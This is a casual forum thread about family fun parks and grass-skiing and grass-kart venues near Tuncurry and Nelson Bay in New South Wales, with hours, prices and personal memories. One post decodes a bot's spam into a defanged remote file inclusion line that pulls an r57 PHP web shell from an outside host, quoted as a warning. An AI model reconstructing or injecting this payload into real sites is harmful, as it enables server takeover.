After 30 seconds worth of Googling, I found this from the site shown here. "...Fun Parks Ton O Fun is a family fun park with paddleboats, mini golf, a jumping castle, a mini train, dodgems on water, odyssey thrill machines, go karts, two large waterslides, quad bikes, volleyball, a merry-go-round, pedal cars, a bistro and kiosk and picnic-barbecue areas. It is open from 10.00 a.m. to 4.00 p.m. on weekends, public holidays and every day of the school holidays but closed throughout the winter, tel: (02) 6554 3090. Head north from Tuncurry along The Lakes Way for 11 km. To the right, opposite the turnoff to Failford, is Ton O Fun Rd. Another 9 km north along The Lakes Way (which becomes Tuncurry Rd) at Rainbow Flat is the Big Buzz Fun Park . It features three waterslides, a toddler's slide, a toboggan run, mini grass trikes, super grass trikes, pony rides, mono boards, peddlecarts, skatebikes, pony rides, volleyball, trampolines, swings, a swimming pool, a kiosk, shaded picnic areas and free gas barbecues. It is open from 10.00 a.m. to 4.00 p.m. weekends, public holidays and every day in the school holidays, tel: (02) 6553 6000..."

ah thanks, it was the "Big Buzz" park dosent look like anythings changed since i went there, cant believe it cost $20 to get in, and now it says it cost 25! geeze,
:mellow: Does the Clews family still own that park? Steve Clews was his name. We used to Grass Ski there and have our state championships there, not much of a hill, but lots of bumps to chuck filth airs off. they had a home-made "J" Bar kind of tow on the hill with a starter box on top. They then built a toboggan run which was cool. Not as cool as Grass Skiing though, that used to go off, in 1991 they had the state championships on a hill of a friends' place across on the other side of the Tuncurry Way, twice as long, but a bummer having to walk back up..... Jamberoo used to do Grass Skiing, but stopped it. I wonder if Kurrajong Heights Grass & Carts park is still around (Bells Line of Rd, Kurrajong heights).... ?

I've been to the one at Nelson Bay it has 1 toboggan, mini golf, a giant maze, used to have mini jeep/buggy things on a track that u could race but closed after major storm in 2002, weird bumper cars, indoor rock climbing and thats about all. It's $2pp entry but you have to pay for everything except the maze! The tobbogan run is still working well. Oh, and if you go on a school day entry is free. (They can't be bothered operating the turnstiles every day!)

The post must have been done by a bot, and was written in ASCII, so after going through each character i came up with this, i deliberatley spaced each character as well as replacing "o"s with "0"s in order to stop it becoming a link, as it could be dangerous, but to stop all you wondering what the hell it meant the message read; I n c lu d e “h t t p: / / r s t .v 0 i d .r u /d 0 w n l 0 a d / r 5 7 s h e l l . t x t # ; / * man these bot things are becoming a bit of a problem........

Hey that scsii bot stuff is freaky. Any ways 2007 and Grass karts are still there! http://www. grasskarts. info/ Prepare for a sore bum! These scary home made style carts, at high speed, can really drift ! -and roll over conversely if you arent arent watchful of the grass potholes or divots. I would love to smuggle a can of WD40 up with me as these things could do with it i think. And one more downside apart from the sore bum and lack of any form of suspension. A little severe, but i wore a motorbike jacket and helmet for the fun of it-and gloves! When i came off i didnt care at all! Pay them a visit and keep them running please! Cheers.
